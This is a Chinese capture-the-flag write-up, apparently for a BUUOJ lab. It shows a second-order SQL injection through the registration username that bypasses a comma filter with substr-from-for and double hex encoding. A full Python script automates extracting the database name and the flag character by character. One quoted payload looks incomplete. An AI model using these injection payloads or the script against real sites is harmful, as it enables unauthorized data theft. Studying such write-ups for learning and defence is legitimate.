首先我们打开页面后是一个登陆页面 用aaa'@qq.com 123为密码尝试注入并无报错
这时我们使用漏洞扫描工具扫描一下网站结构 知道网站目录下有一个 “注册”页面
之后我们用注册的账号登陆 登陆成功后网页回显如下:
我们可以知道 用户名是可以回显的 那么我们就可以尝试通过注册时用户名栏注入
页面出现“nnnnoooo!!!” 我们判断出有过滤字符
我们写一个字典 然后去burp里面抓包注册页面看一下都过滤了什么符号
查看HTTP状态码我们可以知道 , information 被过滤了(在查看response的时候发现单引号没有被过滤 有页面显示 并非nnnnoooo!!!!) 这下我们就要想一下怎么不用逗号来完成这次注入
我们可以通过转两次十六进制来得到库名(如果只转一次十六进制如果转出的十六进制中有英文字母那么英文字母后面的数字就会被截断 我们得到的就不是完整的数字)
得到数字后我们再转两次转回去就得到了数据库名 “web”
(太长的字符 很多程序会自动转成科学计数法 所以这也是个问题)
我们用同样的方式去找他的flag
这里用到了 substr :每次取10个字符长度与 '0' 相加,这样就不会丢失数据 但是又不能使用逗号来截取,所以可以使用类似 substr(str from 1 for 10) (表示截取str字符串的第1个到第10个字符)这种写法来绕过
0'+(select substr(hex(hex((select from flag))from 1 for 10))+'0
我们可以写一个python脚本
import requests
import time
from bs4 import BeautifulSoup #html解析器
def getDatabase():
database = ''
for i in range(10):
data_database = {
'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
'password':'admin',
"email":"admin11@admin.com"+str(i)
}
#注册
requests.post("http://e09651ec-bb07-455f-8e96-8c1a34229512.node5.buuoj.cn:81/register.php",data_database)
login_data={
'password':'admin',
"email":"admin11@admin.com"+str(i)
}
response=requests.post("http://e09651ec-bb07-455f-8e96-8c1a34229512.node5.buuoj.cn:81/login.php",login_data)
html=response.text #返回的页面
soup=BeautifulSoup(html,'html.parser')
getUsername=soup.find_all('span')[0]#获取用户名
username=getUsername.text
if int(username)==0:
break
database+=chr(int(username))
return database
def getFlag():
flag = ''
for i in range(40):
data_flag = {
'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
'password':'admin',
"email":"admin32@admin.com"+str(i)
}
#注册
requests.post("http://e09651ec-bb07-455f-8e96-8c1a34229512.node5.buuoj.cn:81/register.php",data_flag)
login_data={
'password':'admin',
"email":"admin32@admin.com"+str(i)
}
response=requests.post("http://e09651ec-bb07-455f-8e96-8c1a34229512.node5.buuoj.cn:81/login.php",login_data)
html=response.text #返回的页面
soup=BeautifulSoup(html,'html.parser')
getUsername=soup.find_all('span')[0]#获取用户名
username=getUsername.text
if int(username)==0:
break
flag+=chr(int(username))
return flag
print(getDatabase())
print(getFlag())
注意把URL改成自己的
这个时候我们运行就可以得到flag
(我这里两次flag不一样是因为做到一半断网了 开了个新的靶机 正常直接把脚本跑出来的flag复制粘贴上去就行了)